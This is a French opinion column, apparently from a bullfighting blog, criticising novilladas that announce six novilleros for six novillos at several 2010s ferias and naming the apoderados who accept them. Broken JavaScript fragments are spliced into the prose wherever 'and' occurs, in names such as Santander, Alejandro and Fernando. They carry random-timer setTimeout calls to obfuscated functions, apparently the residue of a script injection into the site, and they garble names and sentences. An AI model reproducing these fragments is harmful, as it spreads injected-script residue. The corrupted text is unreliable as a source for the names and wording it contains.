SIX POUR SIX

En parcourant les affiches des prochaines ferias –dont celle de Santandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ander qui vient de commencer- je remarque la nouveauté des novilladas avec picadors où sont annoncés six novilleros pour affronter six novillos. Six pour six.

Cette « nouveauté » devrait être nuancée, car des novilladas avec un chiffre semblable de novilleros et de novillos il y a en a toujours eu dans l’histoire de la tauromachie ; d’ailleurs, les « novilladas pour nouveautés » ainsi appelées, où les jeunes apprentis faisaient leurs premières incursions en habit de lumières, avaient et ont cette structure.

La nouveauté des actuelles, celles qui sont annoncées par exemple à Santandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ander, Valence, Malaga, Salamanque et Nîmes, c’est qu’hormis le fait d’être piquées, elles incluent les noms les plus attractifs du classement et cela me semble étrange car, la logique, du moins jusqu’à maintenant, c’est d’éviter les spectacles devant un seul novillo, où tout se joue sur une seule carte, pour rentrer dans celles de trois novilleros et deux novillos pour chacun et non pas dans des sextettes.

Il semble donc qu’on invertit les rôles et que dans ces novilladas –remarquables quant à la catégorie des arènes et des ferias où elles sont annoncées- le trio disparaît pour dégénérer en sextettes ; c’est cela, l’histoire à l’envers.

Donnons des noms. À Santandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ander, auront déjà été toréés les novillos de El Freixo, par Alvaro Lorenzo, Ginés Marín, Varea, Alejandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andro Marcos, José Ruiz Muñoz et Roca Rey ; à Valence, jeudi, on verra une novillada de El Torreón pour Fernandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando Beltrán, Posada de Maravillas, Alvaro Lorenzo, Jorge Expósito, Cristian Climent et Varea ; à Malaga, le 16 août, on en fait encore plus, avec sept novilleros à l’affiche : Ginés Marín, Varea, Joaquín Galdós, Leo Valadez, José Antonio Lavado, Jesús Alvarez et Javier Orozco. Pour le 12 en septembre, à Salamanque, est annoncé du bétail de José Cruz pour Posada de Maravillas, Alvaro Lorenzo, Varea, Alberto Escudero, Alejandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andro Marcos et Roca Rey et à Nîmes, cinq jours plus tard, feront le paseo Posada de Maravillas, Lilian Ferrani, José Ruiz Muñoz, Joaquín Galdós, Leo Valadez et Andy Younes.

Il ne fait aucun doute que cette modalité représente une superbe opportunité pour certains des garçons annoncés ; mais je ne comprends pas que les Lozano acceptent ce type de cartels pour Alvaro Lorenzo, ou Campuzano pour Roca Rey, ou Cutiño pour Ginés Marín, ni Santiago López avec Varea ou Luis Alvarez avec Posada de Maravillas. C’est sans doute une question de survie, c'est-à-dire, transiger avec l’impératif « ou tu prends ou t’es en dehors et tu ne torées pas ». Et il n’y a pas d’autre solution que s’accrocher à ce que l’on a.

Cependant, tout apoderado qui s’apprécie –et ceux que j’ai cités le savent mieux que moi- doit savoir dire parfois non de temps en temps. Le prestige de ses poulains est en jeu et je ne pense pas que cette « découverte de la Méditerranée » du six pour six, conviennent trop aux novilleros en haut de l’échelle ; mais il est possible aussi que je sois un peu dépassé et que je ne comprenne plus l’époque dans laquelle je vis.

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